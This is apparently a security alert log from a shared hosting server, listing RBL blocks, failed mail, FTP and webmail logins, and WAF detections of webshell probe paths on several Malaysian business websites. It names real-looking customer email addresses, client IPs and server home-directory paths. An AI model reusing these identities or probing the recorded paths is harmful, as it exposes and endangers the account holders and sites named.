Jan 22 11:29:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.85
country_id: 2510769
description:
Jan 22 11:29:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.98.99.149
country_id: 3077311
description:
Jan 22 11:29:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.98.99.149 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-22 11:30:50 +0800] info [webmaild] 175.136.123.47 - roz@af-sb.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 50.114.60.165
country_id: 1643084
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/img/photos/7195483184.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.226.225.119
country_id: 6252001
description:
Jan 22 11:31:57 sv3 pure-ftpd[4181134]: (?@162.226.225.119) [INFO] New connection from 162.226.225.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.147.249
country_id: 690791
description:
Jan 22 11:32:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.147.249 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 162.226.225.119
country_id: 6252001
description:
Jan 22 11:32:01 sv3 pure-ftpd[4181140]: (?@162.226.225.119) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.31
country_id: 690791
description:
Jan 22 11:32:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.31 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.164
country_id: 6252001
description:
Jan 22 11:32:14 sv3 pure-ftpd[4181784]: (?@167.94.138.164) [INFO] New connection from 167.94.138.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.195
country_id: 798544
description:
Jan 22 11:33:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.147
country_id: 953987
description:
Jan 22 11:36:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:36:54 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:61618: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:36:58 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:61631: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:58607: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.214.30.110
country_id: 630336
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/jungle/553067 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.138
country_id: 226074
description:
Jan 22 11:42:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.1.190.50
country_id: 1733045
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/products/officechair/intouch/intouch.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:42:49 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:52447: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:43:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:52449: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.131
country_id: 1269750
description:
Jan 22 11:43:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.131 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:45:39 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:57043: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.99
country_id: 798544
description:
Jan 22 11:46:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.37.147.172
country_id: 3469034
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/images/st.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.72.179
country_id: 690791
description:
Jan 22 11:50:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.72.179 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/plug/sms/img/img/about.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-22 11:50:11 H=(localhost.localdomain) [78.153.140.207]:56282 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.156
country_id: 3469034
description:
Jan 22 11:50:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.173
country_id: 3469034
description:
Jan 22 11:50:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.72.179
country_id: 690791
description:
Jan 22 11:51:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.72.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 11:54:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:65056: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.240.45
country_id: 1733045
description:
2026-01-22 11:55:32 dovecot_plain authenticator failed for H=(smtpclient.apple) [104.28.240.45]:45470: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 11:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:51583: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.185.14
country_id: 1562822
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/dreamland4.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.65
country_id: 3469034
description:
Jan 22 11:58:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.222
country_id: 953987
description:
Jan 22 12:00:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.116
country_id: 953987
description:
Jan 22 12:01:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.116 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.138.245.58
country_id: 1733045
description:
[2026-01-22 12:01:36 +0800] info [webmaild] 175.138.245.58 - mag@symphony-led.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.222
country_id: 953987
description:
Jan 22 12:01:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.229.126.208
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-02.23.229.126.208||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.139.2
country_id: 690791
description:
Jan 22 12:01:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.139.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-22 12:03:21 H=([45.144.212.50]) [45.144.212.50]:50482 F=<azlan@permalanka.lk> rejected RCPT <astmyy@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.4
country_id: 2395170
description:
Jan 22 12:04:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.148
country_id: 1269750
description:
Jan 22 12:04:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.49
country_id: 2300660
description:
Jan 22 12:05:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.24
country_id: 798544
description:
Jan 22 12:05:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.136.74
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=558493 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.241.221.220
country_id: 1562822
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/assets/images/loading-waiting.gif HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.177.255.176
country_id: 290557
domain: www.store.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.store.oxbold.com/cgi-bin HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.187.232.178
country_id: 3469034
domain: store.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/store.oxbold.com/cgi-bin/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-22 12:07:00 +0800] info [webmaild] 113.211.37.45 - chuan@tschuan.com "GET /cpsess1903874427/3rdparty/roundcube/?_task=mail&_mbox=INBOX.spam HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.105
country_id: 732800
description:
Jan 22 12:08:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.105
country_id: 732800
description:
Jan 22 12:09:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.233.230
country_id: 3175395
description:
Jan 22 12:09:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.233.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.179.193
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=21561522745747 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.178.182
country_id: 1269750
description:
Jan 22 12:12:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.178.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.182
country_id: 1269750
description:
2026-01-22 12:12:34 dovecot_plain authenticator failed for H=(turadip) [182.95.178.182]:35338: 535 Incorrect authentication data (set_id=sean@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.245
country_id: 1814991
description:
Jan 22 12:13:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-01-22 12:13:02 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:49766: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.108.51
country_id: 2017370
description:
Jan 22 12:13:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.108.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-01-22 12:13:36 dovecot_login authenticator failed for H=(dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:33857: 535 Incorrect authentication data (set_id=william_althea)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.11.249
country_id: 1733045
description:
2026-01-22 12:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [118.100.11.249]:63618: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.56
country_id: 690791
description:
2026-01-22 12:16:56 H=([77.83.39.56]) [77.83.39.56]:50861 F=<advising.service@advising.hsbc.com> rejected RCPT <astkua@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.160.70
country_id: 3469034
description:
Jan 22 12:17:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.160.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.62.79
country_id: 1814991
description:
Jan 22 12:18:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.62.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.79
country_id: 1814991
description:
2026-01-22 12:18:24 dovecot_login authenticator failed for H=([36.135.62.79]) [36.135.62.79]:37584: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.170.110
country_id: 953987
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/product-detail.php?id=553758 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.200.93.86
country_id: 290557
description:
Jan 22 12:21:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.200.93.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.200.93.86
country_id: 290557
description:
2026-01-22 12:21:55 dovecot_login authenticator failed for H=([87.200.93.86]) [87.200.93.86]:33965: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 12:22:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57376: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 12:23:30 H=([45.144.212.242]) [45.144.212.242]:52556 F=<okazachek@lavina.ru> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.218
country_id: 3469034
description:
Jan 22 12:23:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 12:23:39 +0800] info [webmaild] 203.106.96.63 - alianabila@sutsb.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.108.109
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-25.89.110.108.109||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.25
country_id: 3469034
description:
Jan 22 12:27:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 118.100.253.169
country_id: 1733045
description:
[2026-01-22 12:28:37 +0800] info [webmaild] 118.100.253.169 - khadijah@euratech.com.my "POST /cpsess6710265750/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [118.100.95.65] != Current IP Address [118.100.253.169]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/faq.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.205
country_id: 3469034
description:
Jan 22 12:31:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.230.93
country_id: 3469034
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/product/MS Hoarding.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.173.6.108
country_id: 3865483
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/product/Security Fence.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.0.249.66
country_id: 3865483
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/chainlink.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.61.177.131
country_id: 3439705
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/product/Rolled Top Fence.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.212
country_id: 3865483
description:
Jan 22 12:32:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.164.33.234
country_id: 1733045
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/slider-images/Cover3.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.116.78
country_id: 1562822
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/slider-images/Cover4.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.227.19.95
country_id: 3469034
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/slider-images/Cover5.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.33.243
country_id: 1562822
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/solid-fence-slider.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 202.14.7.138
country_id: 1819730
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-37.202.14.7.138||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.211.28
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=222966 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.232
country_id: 3469034
description:
Jan 22 12:47:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.232 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-47.89.110.114.187||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.144.159
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=77991516694959 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
